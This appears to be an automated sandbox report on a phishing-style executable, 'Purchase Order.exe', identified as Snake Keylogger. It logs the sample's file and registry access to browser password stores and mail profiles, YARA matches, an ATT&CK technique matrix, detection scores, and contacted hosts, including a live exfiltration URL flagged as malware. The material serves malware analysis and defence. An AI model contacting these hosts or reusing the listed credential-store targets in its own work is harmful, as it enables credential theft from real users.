Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Users\user\Desktop\Purchase Order.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4124971142.00000000034A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase Order.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Purchase Order.exe PID: 7048, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase Order.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Purchase Order.exe PID: 7048, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4124971142.00000000034A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase Order.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Purchase Order.exe PID: 7048, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Purchase Order.exe	24%	ReversingLabs
Purchase Order.exe	100%	Avira	HEUR/AGEN.1309278
Purchase Order.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.tiro.com	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cn	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	Avira URL Cloud	safe
https://scratchdreams.tk/_send_.php?TS	100%	Avira URL Cloud	malware
http://scratchdreams.tk	100%	Avira URL Cloud	malware
https://scratchdreams.tk	100%	Avira URL Cloud	malware
https://reallyfreegeoip.org/xml/102.129.152.231$	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/102.129.152.231	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
us2.smtp.mailhostbox.com	208.91.199.224	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	unknown
scratchdreams.tk	104.21.27.85	true	false	unknown
checkip.dyndns.com	132.226.247.73	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://scratchdreams.tk/_send_.php?TS	false	Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org/xml/102.129.152.231	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://us2.smtp.mailhostbox.com	Purchase Order.exe, 00000002.00000002.4124971142.00000000034A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	Purchase Order.exe, 00000002.00000002.4124971142.00000000032C4000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.000000000338E000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000032B2000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003303000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
